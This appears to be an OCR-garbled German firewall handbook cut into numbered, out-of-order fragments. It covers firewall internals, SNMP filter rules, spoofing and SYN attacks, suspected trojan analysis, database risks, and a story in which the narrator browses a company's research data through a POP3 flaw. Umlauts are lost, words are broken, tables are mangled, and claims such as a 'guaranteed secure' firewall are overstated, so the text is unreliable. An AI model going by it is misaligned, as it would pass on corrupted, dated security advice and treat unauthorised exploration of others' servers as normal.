Cracker das Handtuch werfen Das Toolkit VNC ist im Internet unter http www uk research att com vnc index html zu finden VNC liegt im Quellcode vor und unterliegt der GNU Public License Support wird inzwischen von AT angeboten fr her eine Entwicklung von Olivetti VNC wird f r viele Betriebssysteme angeboten UNIX MAC Windows Die Clients liegen sogar in e
437. n ist auch auf andere Betriebssysteme anwendbar Wir beginnen mit der Installation von Neoplanet auf einem Rechner mit Netzwerkkarte jedoch ohne diesen an das Netzwerk anzuschlie en Nach der Installation kann man Neoplanet ber das Startmen erreichen Mit Hilfe der rechten Maustaste lassen wir uns ber Eigenschaften das Verzeichnis der Datei Neo20 exe anzeigen Dies ist das Programm welches wir auf Schweinereien untersuchen wollen Wir installieren uns einen LINUX Host den wir mit dem Arbeitsplatz PC verbinden Es mu ein User angelegt werden z B user1 mit dem Pa wort 4R5 Man ffnet eine DOS Shell und wechselt in das Verzeichnis des zu untersuchenden Programmes hier ist es C programme neoplanet Mit ftp IP LINUX HOST dem Login von user01 und dem g ltigen Pa wort kann man nun das Programmm mit put neo20 exe auf den LINUX Host her ber kopieren Nun kann man das Programm auf dem LINUX Host untersuchen Wir benutzen den Befehl strings um ASCII Zeichenketten aus dem EXE File zu extrahieren Der Befehl funktioniert mit ausf hrbaren Programmen von allen Intel Betriebssystemen Wir leiten die Ausgabe in ein File welches wir danach mit einem Editor noch ein wenig bearbeiten user01 tunix gt strings Neo20 exe gt gt neo20 strings user01 tunix gt Danach ffnen wir mit joe die Datei neo20 strings und k mpfen uns mit strg k v bis zum Ende der Datei vor Alle relevanten Strings befinden sich am Ende d
438. n werden lineare Listen eingesetzt daher ist die Zahl der in der Firewall Konfiguration enthaltenen Befehle beliebig sie wird nur durch das zu Verf gung stehende RAM begrenzt Befehle wie let if exec k nnen somit in einem einzigen notification level in beliebiger Anzahl definiert werden Der Level relevel wird wie ein notification level behandelt Die Befehle let und if werden in einer Kette let_if_chain abgespeichert damit diese stets in der richtigen Reihenfolge ausgef hrt werden Somit ist stets sichergestellt da let if Definitionen beliebig geschachtelt werden k nnen Die Tiefe aller Verschachtelungen ist nicht begrenzt W hrend das Konfigurationsfile abgearbeitet wird zeigen die Variablen nicht immer auf die notification structure die ja gerade aufgebaut wird Da if Befehle beliebig geschachtelt werden k nnen erfordert der Aufbau einer if Kette if_chains eine weitere Routine Die Variable iftmp zeigt stets auf den niedrigsten Eintrag der if Struktur die zu der zugeh rigen notification structure geh rt Konfiguration des Filters Nach dem Einlesen des gesamten Konfigurationsfiles wird jede statische Regel an den Filter bergeben Hierzu wird die Funktion sf_config_ add eingesetzt Die Funktion sf_config addr bergibt das Array von Adressen in einem St ck Der Firewall D mon berpr ft dann die dynamischen Regeln Immer dann wenn eine dynamische Regel aktiviert wird mu diese an den Filter ber
439. n worden FINJAN bietet aber etwas hnliches f r Active X und JAVA an nat rlich patentiert und sehr teuer Die VNC Server sind sehr einfach aufzusetzen sowohl unter LINUX als auch unter SOLARIS also auch f r Anf nger kein Problem Der Client bedarf keine Konfiguration und kann sofort gestartet werden Man sollte jedoch wissen da das INTEL Executable nicht gegen buffer overflows immun ist und den JAVA Client stets vorziehen Viel Spa nur mit der ultimativ sicheren LINUX GRAPHICAL WALL jedenfalls ist mir pers nlich kein Weg bekannt berhaupt ber diese FIREWALL trojanische Pferde oder Viren in ein Netzwerk einzuschleusen Diese Probleme d rften nun der Vergangenheit angeh ren 36 Stories zum Nachdenken Diese Stories sind frei erfunden eventuelle hnlichkeiten zu irdischen Unternehmen oder Handelsmarken sind rein zuf llig und nicht beabsichtigt Alle hier erw hnten Geschichten sind reine Fiktion 36 1 Fehlkonfiguration in einem s ddeutschen Elektrogro handel Anfang 1997 bemerkte ich als Betreiber der Domain SUB da versehentlich E Mails dieses Elekrogro handels mit vielen tausend Mitarbeitern weltweit ich m chte ihn Sehnix nennen auf meiner Domain eintrafen Die Mails waren nicht an userxy SUB sehnix de gerichtet sondern an userxy sehnix SUB de adressiert Ich machte also den Systemadministrator bei Sehnix darauf aufmerksam da einige Mails falsch adressiert waren offensichtlich aufgrund einer Vertausch
440. nal ge ffnet wird welcher vom Server initiiert wird Die erste Verbindung die von innerhalb ge ffnet wurde enth lt den PORT Befehl der vom Server zum Client intern bermittelt wird Dieser Port ist derjenige den der Server zwecks Datenaustasch mit dem Client zu benutzen gedenkt Eine normaler dynamischer Paketfilter w rde diesen PORT Befehl Erstellt von Doc Gonzo http kickme to plugins nicht interpretieren k nnen Der Systemadministrator mu dann entweder alle Ports freischalten oder sperren Gl cklicherweise unterst tzen inzwischen fast alle Firewalls den PASV oder passive Modus Hierbei wird der PORT Befehl aus dem Paket gelesen und die Firewall kann dann diesen Port f r Antwortpakete aus dem Internet freischalten Inbound und outbound Pakete Der Paketfilter wird bei jedem gesendeten Paket gebraucht Ein geforwardetes Paket wird nur beim eintreffen analysiert Zum Zeitpunkt des Sendens wird zun chst nur das Interface berpr ft um address spoofing zu verhindern Lokale Pakete die nicht den Host verlassen wenden nur beim Senden analysiert Address Spoofing Ein Alarm wegen address spoofing wird immer dann gegeben wenn e Die Quelladresse zu inside geh rt und das empfangende Interface zu outside geh rt oder umgekehrt Dies bedeutet da jemand Fremder von au erhalb versucht Zugang zu einem Host hinter der Firewall zu erlangen e Die Zieladresse und das sendende Interface nicht bereinstimmen Das bedeutet da
441. nce Strategien implementiert haben weswegen die Resultate oft zweifelhaft sind Siehe hierzu auch im Kapitel Analyse eines TIS FWTK und Firewall 1 Wer mag der sollte einmal mit Hilfe des ISS Scanners einige SSL Server von SHOP Anbietern untersuchen Interessant ist es da diese Server zwar eine sichere SSL Erstellt von Doc Gonzo http kickme to plugins Verbindung zur bermittlung von Kreditkarten Nummern bieten aber selber v llig ungesichert sind Schwierig wird es Datenbanken gegen Angriffe zu sichern Wie bereits im Kapitel ber buffer overflows beschrieben sollte man entsprechende Filter einsetzen die eine Beschr nkung des SQL Befehlssatzes kennen Scanner wie ISS berpr fen nat rlich solche Fehler nicht 35 Die GRAPHICAL Firewall eine unkonventionelle L sung Wer sich dieses Handbuch durchliest und noch keinen Horror hat der mag sich vielleicht mit dieser unkonventionellen aber sicheren Firewall anfreunden die garantierte Sicherheit bietet Ich m chte Sie einfach einmal mit Graphical Firewall bezeichnen Der Aufbau ist folgender INTERNET N Router Transfernetz LINUX GRAPHICAL WALL MAIL Netscape VNC Firewall 1 lt Firewall 2 gt lokales Netz VNC Clients Beispiel LINUX GRAPHICAL WALL Die Idee dahinter liegt darin nur Informationen von Bildschirm und Mouse Uber die Firewall zu bertragen w hrend die gef hrdeten Applikationen auf der LINUX GRA
442. nd Pakete deren SSN nicht in das Fenster f llt blockt Einige Serverbetriebsysteme differenzieren nicht Auch einige Firewalls die sich zu Clustern zusammenkoppeln lassen sparen sich diese Abfrage besonders in Hinsicht des Falles da die Verbindung erfolgreich zustande gekommen ist connection established state Sie tauschen nur bei der Einleitung connection establishment also w hrend der SYN SYN ACK Sequenzen und Beendigung connection termination bzw w hrend der RST RST oder FIN FIN bermittlung Informationen ber das Fenster aus Grund dieses Vorgehens ist da ein Datenaustausch zwischen den Firewalls ber Verbindungszustande und dynamische Filterregeln nur bei Anfang und Ende einer bertragung stattfinden mu Falls sich Firewall Cluster auch noch nebenher ber die windows size der einzelnen HiSpeed Verbindungen kontinuierlich austauschen m ten w ren wohl die Firewalls etwas berfordert Angesichts der Tatsache da fehlerhafte Pr fsummen ein RESET Signal an die Sourceadresse zur Folge haben k nnte hiermit eine Firewall als RESET Generator mi braucht werden S mtliche an den Backbone angeschlossene Hosts sind in Gefahr durch eine Flut von RESETs mit geschickt gew hlten gespooften IP Nummern von dem Rest der Welt abgeschnitten zu werden DoS mit falschen Pr fsummen Pakete mit falschen TCP Pr fsummen die von der Firewall nicht fr hzeitig aussortiert werden k nnen den TCP IP Stack berm ig stark bean
443. nd die Firewall Log Dateien auf die Festplatte oder auch evtl auf einen Log Server schreibt ist es beim Auftreten von merkw rdigen Ereignissen wichtig da man sofort sehen kann was im Netzwerk passiert Bei einer berwachung eines gr eren Netzwerkes mit mehreren Firewalls gleichzeitig z B mehrere Abteilungen kann sich der Systemadministrator den Status einer jeden einzelnen Firewall am Aktivit tsmonitor anzeigen lassen Bei einer Kopplung der Firewalls untereinander werden zus tzlich auch noch die Statusinformationen der Verbindungen angezeigt die ber die benachbarten Firewalls laufen Da die Firewalls untereinander kommunizieren reicht also ein einziger Blick auf einen Aktivit tsmonitor aus um einen berblick ber das gesamte Netzwerk zu erhalten Alle 5 Sekunden werden die Eintr ge aktualisiert Bestehende Verbindungen k nnen ber dieses Interface abgebrochen werden File Administration Configuration State 14 27 16 ___frested Past used fimeot porce pestablished __ j12357 55 sieve None botka flumzhuchete22 En SENDE em SE ee A Te Je en EEE DE ET established jest ISO None Wotka f umzhuchilelg Er Stab ana a2 zT Mine Eine From ah En Sc a SD Abbildung SINUS Firewall Aktivitatsmonitor Der Topologie Editor Erstellt von Doc Gonzo http kickme to plugins Der Topologie Editor ist einzigartig im Bereich der Firewalls Hier wird mit Hilfe einer Art CAD Programm die Topologie Ihrer Netzwerkstruktur im Un
444. nd maximale L nge Man sollte sich also genau berlegen welche Befehle eines welchen D mons Dienstes gebraucht werden Danach m ssen Syntax der Befehle und sinnvolle und sinnlose Kombinationen aus Befehlen ermittelt werden Im Anschlu daran mu man die L ngen der Ubergabeparameter ermitteln die z T von Datenbankinhalten oder L ngen von Dateinamen abh ngen k nnen Nun kann man mit z B PERL oder JAVA Erstellt von Doc Gonzo http kickme to plugins einen geeigneten Filter schreiben PERL eignet sich hervorragend zur Erstellung von Filtern sofern es im tainted mode gestartet wird In diesem Modus werden alle Variablen die Daten von au en bergeben bekommen als verdorben markiert Ubergibt man Parameter von verdorbenen Variablen an Programme oder Betriebssystemroutinen so werden diese nicht ausgef hrt Ein sinnvoller Schutz Da ber hinaus ist PERL eine interpretierte Sprache die selber keine buffer overflows kennt da es keine L ngenbegrenzung bei Variablen gibt Alle Speicheranforderungen f r Variablen erfolgen dynamisch JAVA ist ebenfalls eine Interpreter Programmiersprache die so designt wurde da alle Operationen v llig vom Betriebssystem abgeschirmt werden k nnen SANDBOX Versuche mit C C oder Visual Basic sind mit Vorsicht zu betrachten schlie lich kann der Filter auch Angriffsziel sein wenn auch nicht f r einen funktionierenden exploit aber in den meisten F llen reicht es dann f r eine
445. nden Haben Sie auch das Pa wort f r diesen Server gefunden Nicht Egal Ohne irgendeine Information ber die innere Logik des Programmes zu haben lassen sich aber schon sehr viele Informationen ber den m glichen Sinn und Zweck dieses Programms erfahren Besonders auff llig ist das Interesse an anderen Mailprogrammen und Bookmarks Einige Details wie die Einbindung von PROXY Mechanismen und Versuche Direktverbindungen zum Internet herzustellen es w hlt tats chlich automatisch sind merkw rdig Einige Auslesevorg nge der Registry und die Ermittlung von Usern auf diesem Arbeitsplatz zeigen da das Programm offensichtlich mehr tut als nur den Internet Explorer zu versch nern ber diese Informationen erhalten die Hacker die netterweise auch signiert haben vermutlich alle relevanten Informationen ber das Netzwerk des Unternehmens und zwar bis ins kleinste Detail Besonders bezeichnend sind die Aufrufe von Systemroutinen die TELNET und POP3 Verbindungen im Netzwerk herstellen Beunruhigend ist die Tatsache da auf Windows 95 98 NT riesige W rterb cher schon mitgeliefert sind mit denen ein dictionary attack sehr einfach m glich ist Ob das Programm auch Angriffe ausf hrt wissen wir nicht Im Grunde genommen spielt es aber auch keine Rolle mehr das Programm ist absolut TABU Wer es installiert hat sich vermutlich ein trojanisches Pferd ins Netzwerk geholt Weitere Angriffe ber die Firewall hinweg sind somit nur noch
446. ndleitungskunden besonders denen mit ISDN Anschlu sollte von allen gr eren Providern evtl dieses Problem genauer bedacht werden Hier hilft der Einsatz einer schnellen Firewall mit SPF Architektur die diese DoS Angriffe verhindert indem sie die Zust nde aller Verbindungen der Kunden im eigenen Netzwerk speichert und gegen SYN ACK Pakete verteidigt denen kein SYN vorangegangen ist Allerdings mu auch das Netzwerk gegen gegenseitige Angriffe von Kunden untereinander gesichert werden Hierzu w re dann der Einsatz von Firewall Routern notwendig Diese Technik Erstellt von Doc Gonzo http kickme to plugins entspricht exakt derjenigen die im Checkpoint Firewall 1 SynDefender Gateway zum Einsatz kommt 14 19 TCP sequence number checking SINUS Firewall kann einige weitere Angriffe wirkungsvoll bek mpfen die vielen Anbietern noch Probleme bereiten e Sequence number guessing Das Erraten der Sequenznummer ist ein Angriff der nur in derselben collision domain funktioniert Nach der Herstellung einer normalen ftp oder telnet Verbindung kann ein Angreifer sofern zwischen Client und Server TCP Pakete mit Seriennummern ausgetauscht werden die einem bestimmten Muster folgen Beispielsweise ist es unter BSD UNIX blich die Inkrements dieser Seriennummern auf 128 000 festzusetzen In dem falle da ein Angreifer die TCP Sequenznummern im Vorhinein bestimmen kann ist es ihm somit m glich in einen Datenstrom seine eigenen Befeh
447. ne Arbeitsstation oder ein Server verbirgt Die offenen Ports zeigen an welches Betriebssystem installiert ist und welche Dienste es aktiviert hat Daraus ergibt sich nach einer Recherche auf BUGTRAQ ob und welcher buffer overflow funktionieren w rde um an die Daten heranzukommen Weiterhin ergeben sich Zusammenh nge in der Netzwerkarchitektur Hinweise auf Router und evil Wege in Filialen oder andere angeschlossene Netzwerke Diese Portscan s k nnten von einer internen Firewall bemerkt werden im allgemeinen aber f llt ein solcher Scan nicht weiter auf Insbesondere interessieren die typischen Ports der Logserver auf welche die Firewall Sicherheitsmeldungen sendet e Das Versenden all dieser Informationen erfolgt weitestgehend unauff llig Vorbereitung der 2 Angriffsstufe Der Angreifer ist nun in Besitz aller wichtigen Informationen um einen weiteren Angriff ausf hren zu k nnen Er kennt den Uberwachungszustand des Netzes den Zustand der Server einige Wege unauff llig Informationen aus dem Netzwerk herauszuschleusen installiert e Software u s w Hier ergeben sich nun einige M glichkeiten den Server im Erstellt von Doc Gonzo http kickme to plugins Intranet anzugreifen Er erh lt aber bereits schon Inhalte von geschriebenen Briefen Pa worte Zug nge zu Banking Software u s w Interessant ist aber stets die Arbeitsstation des Systemadministrators Da es sein kann da der Angreifer wegen evtl verschl sselter Pa wo
448. ne noch h ufig unterschatzte M glichkeit geringf gige Fehler in einer Firewall auszunutzen e MBONE Paket Kapselung erfordert eine besonders sorgf ltige Auswahl und Konfiguration der Firewall da viele Filteroptionen in einigen Firewall Routern nicht angeboten werden Das betrifft sowohl gekapselte AppleTalk IP oder IPX Pakete e Paketkapselung von IP Paketen in ICMP f hrte bei der NAI Firewall 5 0 zu einem DoS Attack e Angriff ber eine gro e Zahl von Fragmenten um die Zahl der Netzwerkbuffer zu ersch pfen bevor die Reassemblierung ausgef hrt wird Hierbei kann durch Vort uschung einer langsamen Verbindung die Verweildauer in vielen Stacks erh ht werden wobei die Performance stark leidet e Angriff mit einem Zufallszahlengenerator Es werden hierbei ausschlie lich die Pr fsumme L nge und das IP Offsetfeld korrekt gesetzt Dieser Angriff f hrt zu einer gro en Zahl von Warnmeldungen in der Firewall da hierbei keinerlei Wiederholungen vorkommen L cken die die Firewall nicht abdeckt weil sie Stateful Packet Filter Architektur besitzt f hren dann leicht zu einem erfolgreichen DoS auf dem Server dahinter Gerade die als besonders schnell getesteten Firewalls versagen hierbei oft Fehlerhafte Netzwerkkarten oder Routersoftware manchmal auch Kernel selber erzeugen im Netz hnliche Pakete Unerklarliche nicht reproduzierbare Ph nomene und viel Zeitaufwand sind n tig um den St renfried ausfindig zu machen Besser ist es
449. nel selber der erst in der Kernelversion 2 2 oder 2 0 mit Patches beseitigt wurde Hierbei ist es f r einen Angreifer m glich den SYSLOGD stillzulegen damit er keinerlei Spuren des Angriffs mehr aufzeichnen kann Man sollte sich also niemals nur auf die LOGDATEIEN einer LINUX Firewall verlassen Wer einmal live einige solche Angriffe beobachten konnte der kann viel lernen Zum Schlu noch einmal der Hinweis auf den DFN CERT In dessen Archiven befindet sich eine scheinbar v llig veraltete Anleitung zur Absicherung von UNIX Leider hat sich bei UNIX im Prinzip seit Jahren nichts elementares mehr getan au er das der Marktanteil von freien UNIX en stark gestiegen ist Der DFN CERT betreibt ein unsch tzbar wertvolles Archiv mit vielen wichtigen Themen Reinschauen lohnt sich 11 Aufbau eines LINUX ISDN Firewall Routers Der Schritt zu einem ISDN Router unter LINUX mit Firewall besteht nun aus der konsequenten Umsetzung der Firewallregeln auf das ISDN Interface Da zum Zeitpunkt der Einwahl die dynamische IP Nummer erst noch vergeben wird ist es nicht m glich die Firewallregeln vorher aufzusetzen Man kann sich aber damit behelfen da ein Teil der Firewallregeln nach dem Verbindungsaufbau aktiviert wird Hierzu mu man sichergehen da w hrend des Verbindungsaufbau die Firewallregeln alle gel scht sind und da die default policy des externen Interfaces auf deny steht und spoofing verhindert wird Somit k nnen f r die kurze Ze
450. nen Internet Anschlu mit LINUX realisiert hat schlie lich kennen wahrscheinlich nur Mitarbeiter dieses Unternehmens meine Internet Seite und es ist h chst wahrscheinlich da meine E Mail einen schnellen Verbreitungsgrad unter den Mitarbeitern hatte Ich schaue mich also auf dem Server ein wenig um Ich sehe wenig interessantes au er ein paar SQL Datenbankfiles wo offensichtlich ein Mitarbeiter unter MySQL eine ACCESS Anbindung realisiert hat Ich schaue mir die Inhalte dieser Datenbank an Es sind Protokolle ber riesige Versuchsreihen mit Giftstoffen in Kunststoff und die Resistenz gegen Pilze und Bakterien Ein riesiges Arsenal an geballter Erfahrung ber die Haltbarkeit von Kunststoffen Ich befinde mich direkt in der Forschungsabteilung dieses Unternehmens wo ein Mitarbeiter ein Doktor der Chemie aufgrund seiner jahrelangen Verbundenheit zum UNIX Betriebssystem w hrend seiner Promotion das Bed rfnis hatte seinen eigenen UNIX Server zu betreiben Ich h tte einen DIAL IN D mon installieren k nnen der sich regelm ig einw hlt und einen Eintrag in den Log Files meines Servers hinterl t Mit Hilfe dieser Sicherheitsl cke im POP3 D mon w re ich somit immer in der Lage ohne Log Eintr ge zu hinterlassen mich auf Servern im Unternehmen l nger unbemerkt umzuschauen Ich benachrichtige also die Gesch ftsleitung dieses Unternehmens da ich wichtige Daten aus dem Netzwerk hinter der Firewall besitze und erz hle wie ich
451. nen in LINUX zur ckgreifen Das gilt auch f r alle anderen Distributionen und UNIX Derivate Erstellt von Doc Gonzo http kickme to plugins Der einfachste Weg ist es mit linuxconf unter X Windows im contol panel die Interfaces aufzusetzen Es mu ein neues Interface eth1 eingerichtet werden create Die Option none als Protokoll und die IP Nummer m ssen eingestellt werden Im Routing Dialog findet sich die wichtige Option ip forwarding die sich auch schon im Kernel aktivieren lie Die Option forwarding besagt da per Default alle Pakete zwischen allen Netzwerkkarten geroutet werden Wer also eine Firewall gerade installieren oder konfigurieren will der sollte sich der Tatsache bewu t sein Nun kann das Interface ber die Men s auch aktiviert werden Die Netzwerkkarte ist aktiv Erl uterungen zur Netzwerk Maske und IP Nummer Per Definition sind die Netzwerknummern 10 x x x und 192 168 x x f r Transfernetze und Intranets reserviert Diese IP Pakete werden im Internet nicht geroutet daher sind diese bei der Vergabe im Intranet vorzuziehen Die Adresse 10 0 0 1 k nnte also das Gateway zum Internet nach innen hin sein Die IP Nummern 10 0 0 0 und 10 0 0 255 sind als Netzwerknummer und Broadcastnummer reserviert Alle anderen k nnen also an Arbeitsstationen im Netz vergeben werden Ist der LINUX Server als Firewall mit zwei Netzwerkkarten im Einsatz und existiert ein dedizierter ISDN Router so ist f r die 2 IP Nummer pe
452. net veranlassen auch wenn die Firewall nicht aktiv ist e Es ist f r einen Angreifer leicht m glich im Intranet den DNS Server so zu ver ndern da dieser falsche Antworten zur ck liefert Da in gro en Netzwerken viele DNS Server voneinander abh ngig sind ist das Risiko gro da einer der Server ein Sicherheitsproblem hat e Die Resolver Bibliothek bzw der DNS Server auf der Firewall selber k nnte durch buffer overflows verletzbar sein Es kann nach jeder IP Nummer oder jedem Hostnamen eine Netzmaske angegeben werden Die Netzmaske ist falls sie nicht speziell angegeben wird die Zahl 255 255 255 255 Die IP Nummer ist g ltig wenn alle Bits der IP Nummer mit derjenigen der Netzmaske bereinstimmen Ein paar Beispiele 129 132 1 18 mask 255 255 255 255 ist exakt f r einen Host g ltig 193 135 255 0 mask 255 255 255 0 ist f r ein Class C Netzwerk g ltig 129 132 20 0 mask 255 255 0 0 ist f r ein Class B Netzwerk g ltig Die Netzmaske mu nicht angegeben werden wenn die Adresse eine Hostadresse ist oder keine Subnettierung des Netzwerks stattfindet Folgende Beispiele zur Erl uterung 129 132 1 18 129 132 1 18 mask 255 255 255 255 129 132 0 0 129 132 0 0 mask 255 255 0 0 193 135 255 0 193 135 255 0 mask 255 255 255 0 Aber Vorsicht Die Adresse 129 132 20 0 ohne Netzmaske wird als Hostadresse angesehen weil automatisch die Netzmaske 255 255 255 255 angenommen wird Damit die Adresse als Netzwerkadresse anges
453. ng Ist ein replay attack m glich challenge Ist ein buffer overflow auf das Fernwartungsprogramm D mon m glich Siehe SSH Erstellt von Doc Gonzo http kickme to plugins Kann ein Administrator Klartext Pa worte im RAM oder SWAP auslesen Von welchen Hosts aus ist theoretisch Fernwartung m glich Wie werden diese hosts abgesichert Siehe Absicherung der Clients Wie werden Details und Ver nderungen auf dem Server mitprotokolliert 0 K nnen bei der Fernadministration gleichzeitig Protokollfiles manipuliert werden 11 Ist eine R ckverfolgung der Ver nderungen m glich HISTORY 12 Sind nach einem Security Update Einf hrung von verschl sselten Pa worten noch die alten Pa worte g ltig 13 Sind nach einem Zur ckspielen eines Backups alte Pa worte wieder g ltig nach einem DoS durch einen Angreifer 14 Wird nach jedem Update eine Grundsicherung durchgef hrt PON Vertraulichkeit 1 Kennt der Systemadministrator PaBworte von Usern 2 Kann der Systemadministrator E Mail Dateien von Usern einsehen 3 Kann der Systemadministrator aus Protokoll Files auf besondere Neigungen Hobbies der User schlieBen 4 Kann ein User Uber das Netzwerk Ubertragene Logfiles mitlesen 5 Kann ein User Uber das Netzwerk Ubertragene Datenbankanfragen bzw Inhalte der Datenbank mitlesen Access 6 Bestehen nach dem Ausscheiden des Systemadministrators noch Zugangsrechte bzw Zugriffsm glichkeiten
454. ng Dienste SNMP Administration SNMP ist ein Dienst auf Basis von UDP SNMP Server in Netzger ten berwachen sowohl TCP Port 161 als auch UDP Port 161 SNMP trap Server in Verwaltungsstationen Erstellt von Doc Gonzo http kickme to plugins berwachen sowohl TCP Port 162 als auch UDP Port 162 SNMP Clients benutzen im allgemeinen Portnummern ber 1023 um Verbindung zu normalen und Trap Servern aufzunehmen Regel Richtung Protokoll Quellport Zielport Erg nzungen ein UDP gt 1023 161 aus UDP 161 gt 1023 ein TCP gt 1023 161 SYN ACK aus TCP 161 gt 1023 ACK aus UDP gt 1023 161 ein UDP 161 gt 1023 aus TCP gt 1023 161 SYN ACK ein TCP 161 gt 1023 ACK ein UDP gt 1023 162 10 aus UDP 162 gt 1023 ll ein TCP gt 1023 162 SYN ACK 12 aus TCP 162 gt 1023 ACK 13 aus UDP gt 1023 162 14 ein UDP 162 gt 1023 15 aus TCP gt 1023 162 SYN ACK 16 ein TCP 162 gt 1023 ACK Anmerkungen zu den Regeln OANADMNHWNE 1 Externe Verwaltungsstation Client nimmt Kontakt zu internem SNMP Netzger t Server auf 2 Internes SNMP Netzger t Server antwortet der externen Verwaltungsstation Client 3 Externe Verwaltungsstation Client nimmt Kontakt zu internem SNMP Netzger t Server auf ACK gesetzt au er im ersten Paket 4 Internes SNMP Netzger t Server antwortet der externen Verwaltungsstation Client ACK gesetzt 5 Interne Verwaltungsstation Client nimmt Kontakt zu externem SNMP Netzger t Server auf
455. nge den Server zum Absturz bewegen Microsofts L sung war so einfach wie unwirksam sie begrenzten einfach die URL L nge im IE 4 0 unter Netscape funktionierte der DoS Angriff noch viel l nger Gro e Datenbankanbieter die z B hinter Computermagazinen Computerwoche steckten hatten lange mit diesem Problem zu k mpfen 6 Denial of Service durch buffer overflow ist hnlich dem obigen Versuch jedoch versucht ein Angreifer hier zuerst komplexe Abfragen zu konstruieren um dann den einen oder anderen Parameter mit Uberlangen Buchstaben Zeichen zu berladen Auch komplexe Filter haben Schwierigkeiten hiermit Das Resultat ist Absturz des Datenbankservers 7 Einbruch in die Datenbank durch Ersniffen der Pa worte ber das Netzwerk ist insbesondere bei ACCESS recht einfach Im Internet gibt es viele Beispiele die zeigen wie man die Pa wortabfrage einer ACCESS Datenbank umgehen kann bzw wie man die Authentifizierungmechanismen von ACCESS mdw berwindet Da h ufig ACCESS am zentralen MS SQL Server angebunden ist erfolgen die h ufigsten Einbr che in SQL Datenbanken ber ACCESS Die bertragung von unverschl sselten Pa worten ist noch ein recht verbreitetes Problem bei Microsoft Netzwerken Auch der ODBC Treiber bei Microsoft NT Servern hat zahlreiche Sicherheitsl cken Mit einem Makrovirus in irgendeiner EXCEL WINWORD ACCESS Datei l t sich der ODBC Treiber auf z B einem NT Server knacken Damit hat dieses Makro h ufig vo
456. ngreifer ist dadurch da er direkten Zugriff auf die Ports der internen Server hat in der Lage das Betriebssystem des Servers genau zu bestimmen ber e Mails aus dem Netz kleine Anfrage w rde er genau wissen ob eventuell das Netz mit Masquerading oder NAT aufgebaut ist Er kennt dann genau das e Mail Gateway Server 2 und kann anhand der Headerinformationen das verwendete Betriebssystem genau identifizieren Nun sucht er in den einschl gigen Archiven nach exploits die von innen oder von au en her einen buffer overflow initiieren Angenommen Server 1 h tte ein solches Problem Es werden immer neue bekannt im Prinzip mu der Angreifer nur warten Dann w re Server 1 im Netzwerk verloren Der Angreifer k nnte alle Dienste mit Supervisor Rechten starten Da die Firewalls offene Ports hat kann der Angreifer weitere Programme die er ben tigt von Server 1 aus dem Internet downloaden Dies k nnten z B Netzwerksniffer sein der inm dann die Pa worte zu allen Servern im Netzwerk und jeden Zugriff auf alle Server im Netz erm glichen w rde Die Firewall selber interessiert den Angreifer nicht da er nach eigenem Belieben Tunnel ber die offenen Ports aufbauen kann Problem 2 Angenommen er w rde auf die Schnelle keinen exploit finden In diesem Falle kann er irgendeinem User ein trojanisches Pferd via e Mail senden und darauf warten da dieser es installiert Da er den Namen des e Mail Gateways kennt kann er mit diesem ein
457. nh nge enthalten Es ist stets eine Kopie an eine zuvor bestimmte besondere interne E Mail Adresse zu senden Der Systemadministrator erh lt in diesem Falle und nur in diesem Erstellt von Doc Gonzo http kickme to plugins Falle aus Datenschutzgr nden keine Kopie Dem Systemadministrator ist es ausdr cklich untersagt das Archiv dieser pers nlichen Mails einzusehen Er ist angewiesen dieses Archiv nach der Z hlung der Anzahl schnellstm glich und regelm ig zu l schen 6 Ausgehende E Mails die eindeutig pers nlicher Natur und auch als solche gekennzeichnet sind jedoch Anh ngen enthalten d rfen vom Systemadministrator berpr ft werden Die unterliegen auch der Geheimhaltung und unterstehen dem Datenschutz 7 Ausgehende E Mails mit TON oder VIDEO Aufzeichnungen als Anhang sind als solche wie verabredet zu kennzeichnen Punkt 1 2 bleiben unber hrt 8 Das versenden von E Mails deren Gr e eine definierte Grenze berschreitet ist untersagt Mehrere inhaltlich zusammengeh renden E Mails gelten als eine E Mail deren Gr e die definierte Grenze nicht berschreiten darf 9 Ver nderungen der Einstellungen des E Mail Clients auch nur vor bergehend sind untersagt 10 Der Versand von E Mails an die eigene Adresse intern oder extern ist untersagt 11 Der Versand von E Mails mit PaBworten Login s digitalen Schl sseln oder Signaturen ist verboten Verst e haben unweigerlich eine Abmahnung zur Folg
458. nicht Bei vielen UNIX Betriebsystemen und Microsoft Programmen ist diese Regel ziemlich aufgeweicht worden Firma Microsoft hat aber in Windows NT ber die Registry eine M glichkeit geschaffen die Bereiche von verwendeten Ports einzelner Dienste einzuschr nken oder zu verlagern Damit ist es nun m glich bestimmte Dienste PDC in bestimmte Portnummern zu verbannen und speziell zu berwachen Da ein Angreifer die Portnummern nicht kennen kann kann der Systemadministrator schnell feststellen ob ein Angriff stattgefunden hat Eine Ausnahme ist auch SSH Secure SHell SSH verlagert sich nicht auf unpriviligierte Ports sondern verbleibt im Bereich zwischen 512 und 1024 SSH ist hervorragend geeignet sichere point to point Verbindungen zwischen Hosts ber das Internet aufbauen zu k nnen Es kann als Ersatz von VPN s z B PPTP eingesetzt werden Insofern ist die Verwendung der privilegierten Ports kein Versto gegen die BSD Konventionen Windows NT im besonderen erlaubt durch gezielte Manipulationen in der Registry eine Begrenzung von Ports auf einen bestimmten Bereich Dies ist immer dann sinnvoll wenn sich Bereiche h ufig benutzter Ports einiger Dienste berschneiden Einem Client Zugriff auf einen Server hinter einer Firewall zu geben kann wegen m glichen buffer overflows t dlich sein Wenn also eine solche Konstruktion erwogen wird dann ist immer eine zweite Firewall mit einzuplanen die eine weiteres Hindernis f r einen Angreifer
459. nierte Protokolle und Daten programmiert Nur in einem solche genau definierten und begrenztem Umfeld ist es m glich mit hoher Sicherheit behaupten zu k nnen diese Anbindung sei sicher und auch nicht duch DoS Angriffe zu st ren 30 PERL Sicherheit bei WWW Servern Die Absicherung von WWW Servern auf denen CGl Skripte laufen ist allein mit einer Firewall nicht m glich Angenommen man w rde vor einem WWW Server eine Firewall Erstellt von Doc Gonzo http kickme to plugins installieren welche alle Ports au er dem Port 80 sperren w rde Da h ufig Formulare an ein PERL Skript Daten aus der HTML Seite bergeben mu also der Datenstrom zwischen Browser und Server mit Hilfe von z B des DELEGATE Filters welcher auch einige Sicherheitsprobleme hat gefiltert werden soda alle Befehle die Informationen an das PERL Skript eines WWW Servers bergeben POST PUT herausgefiltert werden oder auf problematische Inhalte hin untersucht werden Es ist jedoch u erst schwierig festzustellen welche Parameter f r ein CGl Skript oder einen Server D mon eine Gefahr darstellen Daher ist es sinnvoll alles zu filtern was nicht ausdr cklich funktionell erforderlich ist und von vorne herein den Server so zu konfigurieren da ein Angreifer nur minimalen Schaden anrichten kann Hierzu ist es notwendig alle 